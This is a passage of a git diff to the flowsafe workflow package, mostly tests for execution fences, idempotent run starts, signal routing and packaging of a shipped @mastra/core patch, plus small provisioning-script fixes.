+  await retentionBinding.prepare('INSERT INTO mastra_workflow_snapshot (workflow_name, run_id, snapshot, createdAt, updatedAt) VALUES (?, ?, ?, ?, ?)')
+    .bind('packed-retention', runId, JSON.stringify({ status: 'success', requestContext: { 'flowsafe.runProvenance': provenance } }), '2020-01-01T00:00:00.000Z', '2020-01-01T00:00:00.000Z').run();
+}
+let retainedCursor;
+const retentionOptions = { ttlMs: 1000, limit: 1, now: () => Date.parse('2026-09-08T00:00:00.000Z'), advanceCursor: async next => { retainedCursor = structuredClone(next); } };
+assert.equal(await doRunner.purgeExpiredWorkflowRuns(retentionBinding, retentionOptions), 0);
+assert.ok(retainedCursor.snapshots);
+assert.equal(await doRunner.purgeExpiredWorkflowRuns(retentionBinding, { ...retentionOptions, cursor: retainedCursor }), 1);
+assert.equal(retainedCursor.snapshots, undefined);
+assert.deepEqual((await retentionBinding.prepare('SELECT run_id FROM mastra_workflow_snapshot').all()).results.map(row => row.run_id), ['malformed-retention']);
+const storage = doRunner.createD1Storage({ binding });
+let engineCalls = 0;
+const workflow = createWorkflow({ id: 'packed-initial', inputSchema: z.object({}), outputSchema: z.object({}) })
+  .then(createStep({ id: 'effect', inputSchema: z.object({}), outputSchema: z.object({}), execute: async () => { engineCalls += 1; return {}; } }))
+  .commit();
+new Mastra({ storage, workflows: { 'packed-initial': workflow } });
+await storage.init();
+const domain = await storage.getStore('workflows');
+assert.equal(domain instanceof doRunner.FencedWorkflowsStorageD1, true);
+const capability = domain[doRunner.FENCED_WORKFLOW_STORAGE];
+assert.equal(capability.database, binding);
+assert.equal(capability.tablePrefix, '');
+const execution = { tablePrefix: '', workflowId: workflow.id, runId: 'packed-run', startToken: 'packed-generation' };
+const admitted = await capability.withInitialAdmission({ execution, attemptToken: 'packed-correlation',
+  fence: new doRunner.ExecutionFenceStore(binding), onInitialWriteAttempt() {},
+  requestContext: { 'flowsafe.runProvenance': { version: 2, startToken: execution.startToken, attemptToken: 'packed-correlation', resumeCounts: [] } },
+}, () => workflow.createRun({ runId: execution.runId }));
+assert.deepEqual(admitted.witness.execution, execution);
+assert.deepEqual(await capability.readSnapshot(execution), admitted.witness.row);
+assert.equal(JSON.parse(admitted.witness.row.snapshot).status, 'pending');
+assert.equal(engineCalls, 0);
+await admitted.value.start({ inputData: {} });
+assert.equal(engineCalls, 1);
+const repairExecution = { ...execution, runId: 'packed-repair', startToken: 'repair-generation' };
+const repair = await capability.withInitialAdmission({ execution: repairExecution, attemptToken: 'repair-correlation',
+  fence: new doRunner.ExecutionFenceStore(binding), onInitialWriteAttempt() {},
+  requestContext: { app: 'retained', 'flowsafe.runProvenance': { version: 2, startToken: repairExecution.startToken, attemptToken: 'repair-correlation', resumeCounts: [] } },
+}, () => workflow.createRun({ runId: repairExecution.runId }));
+const repairRequest = { expected: repair.witness.row, execution: repairExecution, attemptToken: 'repair-correlation', nowMs: 1700000000123 };
+const observer = doRunner.init({ storage }, { executionFence: new doRunner.ExecutionFenceStore(binding), startIdempotency: 'none' }).runtime;
+observer.register(workflow);
+const initial = await observer.authoritativeStartState(workflow.id, repairExecution.runId);
+assert.equal(initial.kind, 'initial');
+assert.equal('summary' in initial, false);
+await assert.rejects(() => observer.status(workflow.id, repairExecution.runId), doRunner.isRunStartPendingError);
+const repaired = await capability.terminalizeInitialAdmission(repairRequest);
+assert.equal(repaired.kind, 'terminalized');
+const repairedSnapshot = JSON.parse(repaired.row.snapshot);
+assert.equal(repairedSnapshot.status, 'failed');
+assert.equal(repairedSnapshot.error.name, 'StartOutcomeUnknown');
+assert.equal('initialAdmission' in repairedSnapshot.requestContext['flowsafe.runProvenance'], false);
+assert.equal(repairedSnapshot.requestContext.app, 'retained');
+assert.equal(repaired.row.createdAt, repair.witness.row.createdAt);
+assert.equal(repaired.row.updatedAt, '2023-11-14T22:13:20.123Z');
+assert.deepEqual(await capability.readSnapshot(repairExecution), repaired.row);
+assert.equal((await capability.terminalizeInitialAdmission(repairRequest)).kind, 'already-terminalized');
+assert.equal(engineCalls, 1);
+const reservations = new doRunner.StartIdempotencyStore(binding);
+const generations = new Set();
+let modernEffects = 0;
+for (const mode of [
+  { name: 'fenced', storage: doRunner.createD1Storage({ binding }), fence: new doRunner.ExecutionFenceStore(binding), prefix: '' },
+  { name: 'optional', storage: doRunner.createD1Storage({ binding, tablePrefix: 'packed_opt_' }), fence: 'none', prefix: 'packed_opt_' },
+  { name: 'custom', storage: new InMemoryStore(), fence: 'none', prefix: null },
+]) {
+  await mode.storage.init();
+  const app = doRunner.init({ storage: mode.storage }, { executionFence: mode.fence, startIdempotency: reservations });
+  const workflowId = 'packed-runtime-' + mode.name;
+  const runId = 'packed-run-' + mode.name;
+  const owner = { kind: 'human', id: 'packed-owner' };
+  const startIdentity = { owner, target: { kind: 'workflow', id: workflowId } };
+  app.createWorkflow({
+    id: workflowId, inputSchema: z.object({}), outputSchema: z.object({ value: z.string() }),
+    ...(mode.name === 'optional' ? { options: { shouldPersistSnapshot: ({ workflowStatus }) => workflowStatus !== 'pending' } } : {}),
+  }).then(app.createStep({
+    id: 'effect', inputSchema: z.object({}), outputSchema: z.object({ value: z.string() }),
+    execute: async () => { modernEffects += 1; return { value: mode.name }; },
+  })).commit();
+  const request = { key: 'packed-key-' + mode.name, owner, targetKind: 'workflow', targetId: workflowId, mintRunId: () => runId };
+  const reserved = await reservations.reserve(request);
+  assert.equal(reserved.reservation.binding.kind, 'unbound');
+  const claimed = await reservations.claimReservation(reserved.reservation);
+  assert.equal(claimed.state, 'started');
+  const summary = await app.runtime.start(workflowId, {
+    runId, inputData: {}, requestedBy: owner.id, requestedByKind: owner.kind,
+    attemptToken: 'packed-shared-H', startIdentity, idempotencyKey: request.key, startReservation: claimed,
+  });
+  const selected = await app.runtime.authoritativeStartState(workflowId, runId);
+  assert.equal(selected.kind, 'result');
+  assert.equal(selected.execution.tablePrefix, mode.prefix);
+  assert.notEqual(selected.execution.startToken, 'packed-shared-H');
+  generations.add(selected.execution.startToken);
+  assert.deepEqual(summary.result, { value: mode.name });
+  const complete = { ...selected.execution, ...startIdentity };
+  const storedClaim = await reservations.read(request.key);
+  assert.equal(storedClaim.state, 'terminal');
+  assert.deepEqual(storedClaim.binding, { kind: 'bound', execution: selected.execution });
+  let reads = 0;
+  const surface = {
+    persisted: async () => { reads += 1; return { kind: 'result', execution: complete, value: selected.summary }; },
+    live: async () => { throw new Error('a nonpending replay must not probe liveness'); },
+  };
+  const replay = await doRunner.beginIdempotentStart(reservations, request, surface, mode.fence);
+  assert.equal(replay.kind, 'replay');
+  assert.equal(replay.persisted, selected.summary);
+  assert.equal(reads, 1);
+  const aliasRequest = { ...request, key: 'packed-alias-' + mode.name };
+  await reservations.reserve(aliasRequest);
+  const alias = await doRunner.beginIdempotentStart(reservations, aliasRequest, surface, mode.fence);
+  assert.equal(alias.kind, 'replay');
+  assert.equal(alias.persisted, selected.summary);
+  assert.deepEqual(alias.reservation.binding.execution, selected.execution);
+  assert.equal(await reservations.settleExecution(complete), 1);
+}
+assert.equal(generations.size, 3);
+assert.equal(modernEffects, 3);
+for (const name of ['nextLifecycleRevision', 'nextResumeCount', 'terminalStateFields', 'decodeProgressRunProvenance']) {
+  assert.equal(name in doRunner, false, name);
+  assert.equal(name in hostKit, false, name);
+}
 assert.equal(
   backgroundTasks.EXECUTION_FENCE_SUSPEND_KEY,
   'flowsafe.executionFenced',
@@ -409,6 +1717,63 @@ assert.equal(typeof host.createAgentRouter, 'function');
 assert.equal(typeof host.createAgentThreadTopology, 'function');
 assert.equal(typeof host.createThreadAgentHost, 'function');
 assert.equal(typeof host.createAgentApprovalResumer, 'function');
+const signalFactory = new approvals.InMemoryApprovalStoreFactory();
+const signalPrincipal = { kind: 'human', id: 'signal-owner', role: 'operator' };
+await signalFactory.resources().claim('thread', 'signal-thread', signalPrincipal);
+const signalContext = approvals.createPrincipalActorContext({
+  principal: signalPrincipal,
+  storeFactory: signalFactory,
+  buildService: () => { throw new Error('signal probe does not build an approval service'); },
+});
+const savedSignalLogger = console.error;
+console.error = () => {};
+try {
+  for (const mode of ['strict-refusal', 'downstream-refusal', 'success', 'default']) {
+    let sends = 0;
+    let validations = 0;
+    const events = [];
+    const router = signals.createSignalRouter({
+      resolve: async () => signalContext,
+      topology: {
+        send: async () => {
+          sends += 1;
+          assert.equal(events.length, 0);
+          return new Response(JSON.stringify(mode === 'downstream-refusal'
+            ? { error: 'private target detail' }
+            : { decision: { action: 'deliver' }, signalId: 'packed-signal' }), {
+            status: mode === 'downstream-refusal' ? 404 : 200,
+          });
+        },
+        forward: async () => { throw new Error('unexpected forwarding seam'); },
+      },
+      ...(mode === 'default' ? {} : {
+        validateThreadTarget: async (context, target) => {
+          validations += 1;
+          assert.deepEqual(context.principal, signalPrincipal);
+          assert.deepEqual(target, { threadId: 'signal-thread' });
+          if (mode === 'strict-refusal') throw new hostKit.RunRouteError(404, 'private validator detail');
+        },
+      }),
+      audit: event => {
+        events.push(event);
+        throw new hostKit.RunRouteError(404, 'audit sink detail');
+      },
+    });
+    const response = await router(new Request('https://packed.test/api/threads/signal-thread/message', {
+      method: 'POST', body: JSON.stringify({ contents: 'hello' }),
+    }));
+    const refused = mode === 'strict-refusal' || mode === 'downstream-refusal';
+    assert.equal(response.status, refused ? 404 : 200);
+    if (refused) assert.deepEqual(await response.json(), { error: 'thread not found' });
+    else assert.deepEqual(await response.json(), { decision: { action: 'deliver' }, signalId: 'packed-signal' });
+    assert.equal(sends, mode === 'strict-refusal' ? 0 : 1);
+    assert.equal(validations, mode === 'default' ? 0 : 1);
+    assert.equal(events.length, 1);
+    assert.equal(events[0].outcome, refused ? 'rejected' : 'accepted');
+  }
+} finally {
+  console.error = savedSignalLogger;
+}
 assert.equal(typeof host.isPermissionIdentifier, 'function');
 assert.equal(host.isPermissionIdentifier('reports.read'), true);
 assert.equal(host.isPermissionIdentifier('Reports.read'), false);
@@ -470,6 +1835,37 @@ export default {
     ],
     consumer,
   );
+  // The @mastra/core patch this package ships. A consumer applies it at its own
+  // root; installing flowsafe does not. The ordinary consumer above therefore
+  // keeps the defect, which is the publication limit the checks below pin.
+  const patchName = '@mastra__core@1.53.0.patch';
+  const shippedPatch = join(packageDirectory, 'patches', patchName);
+  assert.equal(
+    existsSync(shippedPatch),
+    true,
+    'the packed package must ship the @mastra/core patch',
+  );
+  // The manifest entry pins what npm-packlist may take; comparing the source
+  // directory with the shipped one pins that the published set equals the set
+  // this repository holds, and fails in both directions.
+  for (const entry of manifest.files ?? []) {
+    if (!entry.startsWith('patches/')) continue;
+    assert.equal(
+      existsSync(join(packageRoot, entry)),
+      true,
+      `${entry} is published but has no source file`,
+    );
+  }
+  assert.deepEqual(
+    readdirSync(join(packageRoot, 'patches')).sort(),
+    readdirSync(join(packageDirectory, 'patches')).sort(),
+  );
+  assertUnpatchedConsumerDefect(consumer);
+
+  assertPatchedConsumerInstall(consumer, patchName, shippedPatch);
+
+  assertToolNeutralPatchRoute(consumer, patchName, shippedPatch);
+
   console.log(
     `packed agent-host clean core-${corePeer} import and bundle passed`,
   );
diff --git a/packages/flowsafe/scripts/durability-benchmark.mjs b/packages/flowsafe/scripts/durability-benchmark.mjs
index 255c20b6..6df92439 100644
--- a/packages/flowsafe/scripts/durability-benchmark.mjs
+++ b/packages/flowsafe/scripts/durability-benchmark.mjs
@@ -9,7 +9,7 @@ import {
 } from '../../../scripts/workerd-server-lifecycle.mjs';
 
 const FLOWSAFE = dirname(dirname(fileURLToPath(import.meta.url)));
-const WRANGLER = join(FLOWSAFE, 'node_modules/.bin/wrangler');
+const WRANGLER = join(FLOWSAFE, '../../node_modules/.bin/wrangler');
 const CONFIG = join(FLOWSAFE, 'spike/durability-benchmark.wrangler.jsonc');
 const PORT = parsePort(
   process.env.DURABILITY_BENCHMARK_PORT ?? 8801,
diff --git a/packages/flowsafe/scripts/provisioning-pack-test.mjs b/packages/flowsafe/scripts/provisioning-pack-test.mjs
index b724a68f..8d685783 100644
--- a/packages/flowsafe/scripts/provisioning-pack-test.mjs
+++ b/packages/flowsafe/scripts/provisioning-pack-test.mjs
@@ -40,6 +40,7 @@ function invokeProvision(cwd, args, env = {}) {
     cwd,
     env: { ...process.env, ...env },
     encoding: 'utf8',
+    maxBuffer: 64 * 1024 * 1024,
     stdio: 'pipe',
   });
 }
@@ -70,8 +71,17 @@ if (typeof sql !== 'string') {
 const statePath = process.env.FAKE_WRANGLER_STATE;
 const state = existsSync(statePath)
   ? JSON.parse(readFileSync(statePath, 'utf8'))
-  : { created: false, tag: undefined, fence: false, fenceState: undefined };
+  : { created: false, tag: undefined, fence: false, fenceStage: 0, fenceState: undefined };
 const FENCE = 'flowsafe_execution_fence';
+const fenceColumns = [
+  ['id', 'TEXT', 0, 1, null], ['state', 'TEXT', 1, 0, null],
+  ['proof_key', 'TEXT', 0, 0, null], ['proof_run_id', 'TEXT', 0, 0, null],
+  ['updated_at', 'INTEGER', 1, 0, null], ['last_transition_request', 'TEXT', 0, 0, null],
+  ['transition_revision', 'INTEGER', 1, 0, '0'], ['mutation_epoch', 'INTEGER', 1, 0, '0'],
+  ['require_mutation_epoch', 'INTEGER', 1, 0, '0'],
+  ['proof_table_prefix', 'TEXT', 0, 0, null], ['proof_workflow_id', 'TEXT', 0, 0, null],
+  ['proof_start_token', 'TEXT', 0, 0, null],
+];
 const schema = \`CREATE TABLE flowsafe_deployment (
   id INTEGER PRIMARY KEY CHECK (id = 1),
   tenant_tag TEXT NOT NULL,
@@ -86,16 +96,34 @@ if (sql.startsWith('SELECT name, sql')) {
     ...(state.created ? [{ name: 'flowsafe_deployment', sql: schema }] : []),
     ...(state.fence ? [{ name: FENCE, sql: 'CREATE' }] : []),
   ];
+  const padBytes = Number(process.env.FAKE_WRANGLER_PAD_BYTES ?? 0);
+  if (padBytes > 0) {
+    results.push({ name: 'sqlite_pad', sql: 'x'.repeat(padBytes) });
+  }
 } else if (sql.startsWith('CREATE TABLE IF NOT EXISTS ' + FENCE)) {
   state.fence = true;
   results = [];
+} else if (sql === 'PRAGMA table_xinfo(' + FENCE + ')') {
+  results = state.fence ? fenceColumns.slice(0, 5 + state.fenceStage).map(([name, type, notnull, pk, dflt_value], cid) => ({ name, type, notnull, pk, dflt_value, cid, hidden: 0 })) : [];
+} else if (sql.startsWith('SELECT * FROM ' + FENCE)) {
+  results = state.fenceRow ? [state.fenceRow] : [];
+} else if (sql.startsWith('ALTER TABLE ' + FENCE + ' ADD COLUMN ')) {
+  const name = sql.slice(('ALTER TABLE ' + FENCE + ' ADD COLUMN ').length).split(' ')[0];
+  if (!state.fenceRow || name !== fenceColumns[5 + state.fenceStage]?.[0]) throw new Error('unexpected fence ALTER stage');
+  state.fenceRow[name] = fenceColumns[5 + state.fenceStage][4] === null ? null : 0;
+  state.fenceStage += 1;
+  results = [];
 } else if (sql.startsWith('INSERT OR IGNORE INTO ' + FENCE)) {
   if (!state.fence) {
     process.stderr.write('fence row seeded before its table\\n');
     process.exit(5);
   }
-  state.fenceState =
-    state.fenceState ?? sql.match(/'deployment', '([^']+)'/)?.[1];
+  if (state.fenceStage === 0 && !state.fenceRow) {
+    const values = sql.match(/SELECT 'deployment', '([^']+)', NULL, NULL, '(\\d+)'/);
+    if (!values) throw new Error('invalid fence INSERT');
+    state.fenceState = values[1];
+    state.fenceRow = { id: 'deployment', state: values[1], proof_key: null, proof_run_id: null, updated_at: Number(values[2]) };
+  }
   results = [];
 } else if (sql.startsWith('CREATE TABLE')) {
   state.created = true;
@@ -238,8 +266,13 @@ import {
   INITIAL_EXECUTION_FENCE_STATES,
   deploymentIdentityHeaders,
 } from '@proofoftech/flowsafe/deployment-identity-protocol';
+const { ExecutionFenceUnreadableError: LegacyUnreadable } = await import(new URL('./node_modules/@proofoftech/flowsafe/dist/do-runner/execution-fence.js', import.meta.url));
+const { ExecutionFenceUnreadableError: HelperUnreadable, normalizeD1RunExecutionIdentity } = await import(new URL('./node_modules/@proofoftech/flowsafe/dist/do-runner/execution-admission.js', import.meta.url));
 
 const secret = 'x'.repeat(32);
+assert.equal(LegacyUnreadable, HelperUnreadable);
+assert.ok(new LegacyUnreadable('test') instanceof HelperUnreadable);
+assert.deepEqual(normalizeD1RunExecutionIdentity({ tablePrefix: 'Tenant_', workflowId: 'workflow', runId: 'run', startToken: 'generation' }), { tablePrefix: 'tenant_', workflowId: 'workflow', runId: 'run', startToken: 'generation' });
 assert.equal(typeof EXECUTION_FENCE_DDL, 'string');
 assert.equal(EXECUTION_FENCE_ROW_ID, 'deployment');
 assert.deepEqual(EXECUTION_FENCE_STATES, [
@@ -275,7 +308,22 @@ assert.deepEqual(
 import {
   DEPLOYMENT_IDENTITY_HEADER as LEGACY_DEPLOYMENT_IDENTITY_HEADER,
   deploymentIdentityHeaders as legacyDeploymentIdentityHeaders,
+  ExecutionFenceStore,
+  type ExecutionFenceReading,
+  type ExecutionFenceVersionedReading,
 } from '@proofoftech/flowsafe/do-runner';
+import {
+  type ExecutionFenceReading as HostReading,
+  type ExecutionFenceVersionedReading as HostVersionedReading,
+  type ExecutionFenceTransition,
+  executionFenceReadingPayload,
+} from '@proofoftech/flowsafe/host-kit';
+import * as RunnerAdmission from '@proofoftech/flowsafe/do-runner';
+import * as HostAdmission from '@proofoftech/flowsafe/host-kit';
+import {
+  type ActorContext, ApprovalService, createActorResolver,
+  createPrincipalActorContext, humanPrincipal, InMemoryApprovalStoreFactory,
+} from '@proofoftech/flowsafe/approval-api';
 
 const secret = 'x'.repeat(32);
 const headers: Record<string, string> = deploymentIdentityHeaders(secret);
@@ -288,6 +336,105 @@ void headers;
 void legacyHeaders;
 void header;
 void initialFenceState;
+const legacyReading: ExecutionFenceReading = { state: 'open' };
+const hostLegacyReading: HostReading = legacyReading;
+const command: ExecutionFenceTransition = {
+  expected: 'open', next: 'draining', expectedMutationEpoch: 0,
+  expectedRevision: 0, advanceMutationEpoch: true,
+};
+async function checkFenceTypes(store: ExecutionFenceStore) {
+  const versioned: ExecutionFenceVersionedReading = await store.read();
+  const hostVersioned: HostVersionedReading = executionFenceReadingPayload(versioned);
+  const epoch: number = hostVersioned.mutationEpoch;
+  await store.transition(command);
+  await store.recordProofRun('proof', 'run');
+  await store.recordProofRun('proof', 'run', versioned);
+  return { epoch, hostLegacyReading };
+}
+void checkFenceTypes;
+const physical = { tablePrefix: '', workflowId: 'workflow', runId: 'run', startToken: 'generation' };
+const logical = { owner: { kind: 'human', id: 'owner' }, target: { kind: 'workflow', id: 'workflow' } };
+const runIdentity: RunnerAdmission.RunExecutionIdentity = RunnerAdmission.normalizeRunExecutionIdentity(physical);
+const hostRunIdentity: HostAdmission.RunExecutionIdentity = runIdentity;
+const d1Identity: RunnerAdmission.D1RunExecutionIdentity = RunnerAdmission.normalizeD1RunExecutionIdentity(physical);
+const hostD1Identity: HostAdmission.D1RunExecutionIdentity = d1Identity;
+const startIdentity: RunnerAdmission.StartIdentity = RunnerAdmission.normalizeStartIdentity(logical);
+const hostStartIdentity: HostAdmission.StartIdentity = startIdentity;
+const executionIdentity: RunnerAdmission.StartExecutionIdentity = RunnerAdmission.normalizeStartExecutionIdentity({ ...physical, ...logical });
+const hostExecutionIdentity: HostAdmission.StartExecutionIdentity = executionIdentity;
+const d1StartIdentity: RunnerAdmission.D1StartExecutionIdentity = { ...d1Identity, ...startIdentity };
+const hostD1StartIdentity: HostAdmission.D1StartExecutionIdentity = d1StartIdentity;
+const epochContext: RunnerAdmission.MutationEpochContext = { mutationEpoch: 0 };
+const hostEpochContext: HostAdmission.MutationEpochContext = epochContext;
+for (const api of [RunnerAdmission, HostAdmission]) {
+  api.normalizeRunExecutionIdentity(physical);
+  api.normalizeD1RunExecutionIdentity(physical);
+  api.normalizeStartIdentity(logical);
+  api.normalizeStartExecutionIdentity({ ...physical, ...logical });
+  api.assertMutationEpoch({ mutationEpoch: 0, requireMutationEpoch: false }, api.normalizeMutationEpoch(0));
+  const wire = new Headers();
+  api.stampMutationEpoch(wire, 0);
+  api.mutationEpochFromHeader(wire.get(api.MUTATION_EPOCH_HEADER));
+  new api.InvalidExecutionIdentityError('runId');
+  new api.InvalidMutationEpochError();
+  new api.MutationEpochMismatchError('missing', 1);
+  new api.ExecutionFenceUnreadableError('test');
+}
+const legacyReservation: RunnerAdmission.StartReservation = {
+  key: 'key', owner: { kind: 'human', id: 'owner' }, targetKind: 'workflow',
+  targetId: 'workflow', runId: 'run', state: 'reserved', createdAt: 0, updatedAt: 0,
+};
+async function checkReservationTypes(store: RunnerAdmission.StartIdempotencyStore) {
+  const observed: RunnerAdmission.StartReservationReading | undefined = await store.read('key');
+  const binding: RunnerAdmission.StartReservationBinding | undefined = observed?.binding;
+  const reserved = await store.reserve({ key: 'key', owner: legacyReservation.owner, targetKind: 'workflow', targetId: 'workflow', mintRunId: () => 'run' });
+  const kind: 'legacy' | 'unbound' | 'bound' = reserved.reservation.binding.kind;
+  const claimed = await store.claimReservation(reserved.reservation);
+  if (claimed) {
+    await store.bindPreparedStart(claimed, executionIdentity);
+  }
+  await store.settleExecution(executionIdentity);
+  const alias = await store.reserve({ key: 'alias', owner: legacyReservation.owner, targetKind: 'workflow', targetId: 'workflow', mintRunId: () => 'run' });
+  await store.associateReservation(alias.reservation, executionIdentity);
+  const releasable = await store.reserve({ key: 'release', owner: legacyReservation.owner, targetKind: 'workflow', targetId: 'workflow', mintRunId: () => 'release-run' });
+  const releaseClaim = await store.claimReservation(releasable.reservation);
+  if (releaseClaim) await store.releaseReservation(releaseClaim);
+  // @ts-expect-error run-only claims are removed
+  await store.claim('key', 'run');
+  // @ts-expect-error run-only releases are removed
+  await store.release('key', 'run');
+  // @ts-expect-error run-only settlement is removed
+  await store.settleRun('run');
+  RunnerAdmission.admitsExistingRun({ state: 'proof-only', proofExecution: d1Identity }, d1Identity);
+  return { binding, kind };
+}
+void [hostRunIdentity, hostD1Identity, hostStartIdentity, hostExecutionIdentity, hostD1StartIdentity, hostEpochContext, checkReservationTypes];
+const actor = { id: 'owner', role: 'operator' } as const;
+const principal = humanPrincipal(actor);
+const factory = new InMemoryApprovalStoreFactory();
+const contextOptions = {
+  principal, storeFactory: factory,
+  buildService: (store: ReturnType<typeof factory.store>) => new ApprovalService({ store, executionFence: 'none' }),
+};
+const legacyContext: ActorContext = createPrincipalActorContext(contextOptions);
+const scopedContext: ActorContext = createPrincipalActorContext({ ...contextOptions, mutationEpoch: 2 });
+createActorResolver({ ...contextOptions, authenticate: () => actor, mutationEpoch: 2 });
+declare const hostInit: RunnerAdmission.InitResult;
+const legacyScope: RunnerAdmission.ThreadScope = { threadId: 'thread', principal, init: hostInit };
+const epochScope: RunnerAdmission.ThreadScope = { ...legacyScope, mutationEpoch: 2 };
+const legacyStart: HostAdmission.RunStartInput = { workflowId: 'workflow', runId: 'run', inputData: {}, principal };
+const epochStart: HostAdmission.RunStartInput = { ...legacyStart, mutationEpoch: 2 };
+const runtimeStart: RunnerAdmission.StartRunOptions = { runId: 'run', mutationEpoch: 2, requestedBy: actor.id, requestedByKind: 'human' };
+type EpochEnv = HostAdmission.FlowsafeWorkerEnv & { artifactEpoch: number };
+const workerConfig: HostAdmission.FlowsafeWorkerConfig<EpochEnv> = {
+  systemPrincipalId: 'system', workflows: [],
+  buildVerifier: () => ({ verify: async () => actor }),
+  maintenance: { sweepIntervalMs: 1000, purgeIntervalMs: 1000 },
+  mutationEpoch: env => env.artifactEpoch,
+};
+HostAdmission.createFlowsafeWorker(workerConfig);
+HostAdmission.createFlowsafeWorker({ ...workerConfig, mutationEpoch: 0 });
+void [legacyContext, scopedContext, legacyScope, epochScope, legacyStart, epochStart, runtimeStart];
 `,
   );
   writeFileSync(
@@ -528,7 +675,7 @@ void initialFenceState;
   );
   if (
     fenceDdlAt === -1 ||
-    fenceRowAt !== fenceDdlAt + 1 ||
+    fenceRowAt <= fenceDdlAt ||
     ownershipAt === -1 ||
     ownershipAt > fenceDdlAt
   ) {
@@ -536,7 +683,29 @@ void initialFenceState;
       `packed provisioning CLI did not seed the fence after proving ownership: ${JSON.stringify(executedSql)}`,
     );
   }
-  const seededState = JSON.parse(readFileSync(statePath, 'utf8')).fenceState;
+  const fenceAlters = executedSql.flatMap((sql, index) =>
+    sql.startsWith('ALTER TABLE flowsafe_execution_fence ADD COLUMN')
+      ? [index]
+      : [],
+  );
+  if (
+    fenceAlters.length !== 7 ||
+    fenceAlters.some((index) => index <= fenceRowAt)
+  ) {
+    throw new Error('fence columns were not added after the initial row');
+  }
+  const seededFence = JSON.parse(readFileSync(statePath, 'utf8'));
+  const seededState = seededFence.fenceState;
+  if (
+    seededFence.fenceStage !== 7 ||
+    ['proof_table_prefix', 'proof_workflow_id', 'proof_start_token'].some(
+      (name) => seededFence.fenceRow[name] !== null,
+    )
+  ) {
+    throw new Error(
+      'packed provisioning did not initialize null proof identity',
+    );
+  }
   if (seededState !== 'migration-locked') {
     throw new Error(
       `packed provisioning CLI seeded fence state '${seededState}', expected 'migration-locked'`,
@@ -625,6 +794,23 @@ void initialFenceState;
     }
   }
 
+  const oversized = invokeProvision(consumerRoot, previewArgs, {
+    FAKE_WRANGLER_LOG: logPath,
+    FAKE_WRANGLER_STATE: statePath,
+    FAKE_WRANGLER_PAD_BYTES: String(1536 * 1024),
+  });
+  if (
+    oversized.status !== 0 ||
+    oversized.stdout !==
+      "Deployment identity 'acme' verified in consumer-db (preview), initial execution fence state 'open'.\n" ||
+    oversized.stderr !== ''
+  ) {
+    throw new Error(
+      `packed provisioning CLI failed on a Wrangler response above Node's default spawn capture (status=${oversized.status}, signal=${oversized.signal}, error=${oversized.error?.message ?? 'none'})\n${oversized.stderr}`,
+      { cause: oversized.error },
+    );
+  }
+
   writeFileSync(
     wranglerManifestPath,
     JSON.stringify({
diff --git a/packages/flowsafe/scripts/seed-deployment-identity.mjs b/packages/flowsafe/scripts/seed-deployment-identity.mjs
index 684e6b53..a106a4e0 100755
--- a/packages/flowsafe/scripts/seed-deployment-identity.mjs
+++ b/packages/flowsafe/scripts/seed-deployment-identity.mjs
@@ -190,6 +190,7 @@ function wranglerQuery(options, sql) {
   if (options.persistTo) args.push('--persist-to', options.persistTo);
   const result = spawnSync(process.execPath, [wranglerEntrypoint(), ...args], {
     encoding: 'utf8',
+    maxBuffer: 64 * 1024 * 1024,
     stdio: ['ignore', 'pipe', 'pipe'],
   });
   if (result.error) {
diff --git a/packages/flowsafe/scripts/seed-deployment-identity.test.mjs b/packages/flowsafe/scripts/seed-deployment-identity.test.mjs
index 5dffe010..fb286845 100644
--- a/packages/flowsafe/scripts/seed-deployment-identity.test.mjs
+++ b/packages/flowsafe/scripts/seed-deployment-identity.test.mjs
@@ -2,11 +2,13 @@
 
 import { describe, expect, it } from 'vitest';
 
+import { EXECUTION_FENCE_DDL } from '../deployment-identity-protocol.mjs';
 import {
   DeploymentIdentityError,
   readDeploymentIdentity,
   seedDeploymentIdentity,
 } from '../src/do-runner/deployment-identity.js';
+import { ExecutionFenceStore } from '../src/do-runner/execution-fence.js';
 import { openSqlite, sqliteUnitDatabase } from '../test-support/sqlite.js';
 import {
   parseProvisioningArguments,
@@ -31,6 +33,11 @@ const COLUMNS = [
   { name: 'tenant_tag', type: 'TEXT', notnull: 1, pk: 0 },
   { name: 'provisioned_at', type: 'TEXT', notnull: 1, pk: 0 },
 ];
+const LEGACY_FENCE_DDL = `CREATE TABLE ${FENCE_TABLE} (
+  id TEXT PRIMARY KEY CHECK (id = 'deployment'),
+  state TEXT NOT NULL CHECK (state IN ('open', 'draining', 'migration-locked', 'proof-only')),
+  proof_key TEXT, proof_run_id TEXT, updated_at INTEGER NOT NULL
+)`;
 
 function databaseQuery(initialTables = [], ownerTag = 'acme') {
   const tables = [...initialTables];
@@ -39,14 +46,36 @@ function databaseQuery(initialTables = [], ownerTag = 'acme') {
   // The fence table is reported by the schema scan once created, so the
   // ownership guard below faces the same residue a crashed provisioning pass
   // would leave behind.
-  let fenceTable = initialTables.some((row) => row.name === FENCE_TABLE);
-  let fenceState;
+  const fenceSqlite = openSqlite();
+  if (initialTables.some((row) => row.name === FENCE_TABLE))
+    fenceSqlite.exec(LEGACY_FENCE_DDL);
+  const fenceSchema = () =>
+    fenceSqlite
+      .prepare(`SELECT name, sql FROM sqlite_schema WHERE type = 'table'`)
+      .all();
   const mutations = [];
   return {
     mutations,
-    fence: () => ({ table: fenceTable, state: fenceState }),
+    fence: () => ({
+      table: fenceSchema().length === 1,
+      state:
+        fenceSchema().length === 0
+          ? undefined
+          : fenceSqlite.prepare(`SELECT state FROM ${FENCE_TABLE}`).get()
+              ?.state,
+    }),
     addTable: (row) => tables.push(row),
     query: async (statement) => {
+      if (
+        /^(?:CREATE TABLE IF NOT EXISTS|INSERT OR IGNORE INTO|ALTER TABLE) flowsafe_execution_fence\b/.test(
+          statement,
+        ) ||
+        statement.startsWith(`SELECT * FROM ${FENCE_TABLE}`) ||
+        statement === `PRAGMA table_xinfo(${FENCE_TABLE})`
+      ) {
+        if (/^(CREATE|INSERT|ALTER)/.test(statement)) mutations.push(statement);
+        return fenceSqlite.prepare(statement).all();
+      }
       if (statement.startsWith('SELECT name, sql')) {
         const applicationTables = tables.filter(
           (row) =>
@@ -54,30 +83,17 @@ function databaseQuery(initialTables = [], ownerTag = 'acme') {
         );
         return [
           ...(seeded ? [{ name: 'flowsafe_deployment', sql: SQL }] : []),
-          ...(fenceTable ? [{ name: FENCE_TABLE, sql: 'CREATE' }] : []),
+          ...fenceSchema(),
           ...applicationTables,
         ];
       }
       if (statement.startsWith('CREATE TABLE')) {
         mutations.push(statement);
-        // Dispatch on the TARGET table, never on a substring: the ownership
-        // insert names the fence table in its exclusion list, so `includes`
